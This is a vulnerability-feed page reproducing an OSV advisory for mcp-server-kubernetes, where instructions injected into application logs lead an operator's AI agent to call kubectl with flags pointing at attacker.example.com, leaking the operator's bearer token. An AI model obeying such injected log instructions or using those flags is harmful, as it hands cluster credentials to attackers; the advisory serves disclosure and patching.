Skip to content
Heist/ feed
Back to feed
Medium

mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

Type: advisorySources: OSV

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Products
Not specified
Affected versions
Not specified
Fixed versions
Not specified
CVEs
CVE-2026-47250
Confirmed fixed CVEs
Not specified
Updated in this feed
4 Nov 2026, 02:12 UTC · Revision 1

Source evidence

mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

core-osv · Original source

Published 11 Jun 2026, 18:35 UTC

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

osv:CVE-2026-47250
Complete source record
{
  "id": "fbd589d90b3bb6f8da9984c99a92b5be862d44a2ab625b1b8a68d3f8c10167ae",
  "url": "https://osv.dev/vulnerability/CVE-2026-47250",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration",
    "summary": "mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.",
    "evidence": "osv:CVE-2026-47250",
    "products": [],
    "severity": "medium",
    "structured": {
      "id": "CVE-2026-47250",
      "aliases": [
        "CVE-2026-47250",
        "GHSA-6mx4-4h42-r8vh"
      ],
      "metrics": [
        {
          "type": "CVSS_V3",
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "repo": "https://github.com/flux159/mcp-server-kubernetes",
              "type": "GIT",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "1508fd3252278dbf5dea973df0f3bcb899c14d26"
                }
              ],
              "database_specific": {
                "extracted_events": [
                  {
                    "range": [
                      {
                        "introduced": "0"
                      },
                      {
                        "fixed": "3.7.0"
                      }
                    ],
                    "source": "AFFECTED_FIELD",
                    "strategy": "StringRangeExpression"
                  },
                  {
                    "range": [
                      {
                        "fixed": "1508fd3252278dbf5dea973df0f3bcb899c14d26"
                      }
                    ],
                    "source": "REFERENCES_TAG",
                    "original_tag": "v3.7.0"
                  },
                  {
                    "range": [
                      {
                        "introduced": "0"
                      },
                      {
                        "fixed": "3.7.0"
                      }
                    ],
                    "source": "DESCRIPTION"
                  }
                ]
              }
            }
          ],
          "versions": [
            "3.6.2",
            "v3.6.2",
            "3.6.1",
            "3.5.1",
            "v3.6.1",
            "3.6.0",
            "v3.6.0",
            "v3.5.1",
            "3.5.0",
            "v3.5.0",
            "3.4.0",
            "v3.4.0",
            "3.3.0",
            "v3.3.0",
            "v3.2.2",
            "3.2.1",
            "v3.2.1",
            "3.2.0",
            "v3.2.0",
            "3.1.1",
            "v3.1.1",
            "3.1.0",
            "v3.1.0",
            "3.0.5",
            "v3.0.5",
            "3.0.4",
            "v3.0.4",
            "3.0.3",
            "v3.0.3",
            "3.0.2",
            "v3.0.2",
            "3.0.1",
            "v3.0.1",
            "3.0.0",
            "v3.0.0",
            "2.9.9",
            "v2.9.9",
            "2.9.8",
            "v2.9.8",
            "2.9.7",
            "v2.9.7",
            "2.9.6",
            "v2.9.6",
            "2.9.5",
            "v2.9.5",
            "2.9.4",
            "v2.9.4",
            "2.9.3",
            "v2.9.3",
            "2.9.2",
            "v2.9.2",
            "2.9.1",
            "v2.9.1",
            "2.9.0",
            "v2.9.0",
            "2.8.0",
            "v2.8.0",
            "2.7.0",
            "v2.7.0",
            "2.6.0",
            "v2.6.0",
            "2.5.1",
            "v2.5.1",
            "2.5.0",
            "v2.5.0",
            "2.4.9",
            "v2.4.9",
            "v2.4.8",
            "2.4.7",
            "v2.4.7",
            "2.4.6",
            "v2.4.6",
            "2.4.5",
            "v2.4.5",
            "2.4.4",
            "v2.4.4",
            "2.4.3",
            "2.4.1",
            "v2.4.3",
            "2.4.2",
            "v2.4.2",
            "v2.4.1",
            "2.4.0",
            "2.3.1",
            "v2.4.0",
            "v2.3.1",
            "2.3.0",
            "v2.3.0",
            "2.2.1",
            "v2.2.1",
            "2.2.0",
            "v2.2.0",
            "2.1.1",
            "v2.1.1",
            "2.1.0",
            "v2.1.0",
            "2.0.0",
            "v2.0.0",
            "1.6.2",
            "v1.6.2",
            "1.6.1",
            "v1.6.1",
            "1.6.0",
            "v1.6.0",
            "1.5.0",
            "v1.5.0",
            "1.4.0",
            "v1.4.0",
            "1.3.2",
            "v1.3.2",
            "1.3.1",
            "v1.3.1",
            "1.3.0",
            "v1.3.0",
            "1.2.0",
            "v1.2.0",
            "1.1.0",
            "v1.1.0",
            "1.0.1",
            "v1.0.1",
            "1.0.0",
            "v1.0.0",
            "0.4.0",
            "v0.4.0",
            "0.3.2",
            "v0.3.2",
            "0.3.1",
            "v0.3.1",
            "0.3.0",
            "v0.3.0",
            "0.2.5",
            "v0.2.5",
            "0.2.4",
            "v0.2.4",
            "v0.2.3",
            "v0.2.2",
            "v0.2.1",
            "v0.2.0"
          ],
          "database_specific": {
            "source": "https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-47250.json"
          }
        }
      ],
      "modified": "2026-10-28T02:30:32.435154988Z",
      "provider": "osv",
      "references": [
        "https://github.com/Flux159/mcp-server-kubernetes/releases/tag/v3.7.0",
        "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47250.json",
        "https://github.com/Flux159/mcp-server-kubernetes/security/advisories/GHSA-6mx4-4h42-r8vh",
        "https://nvd.nist.gov/vuln/detail/CVE-2026-47250"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-88"
        ],
        "cna_assigner": "GitHub_M",
        "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47250.json"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-47250",
        "evidence": "/id"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/severity/0/score"
  },
  "source_id": "core-osv",
  "document_id": 499546,
  "published_at": "2026-06-11T18:35:50.978+00:00"
}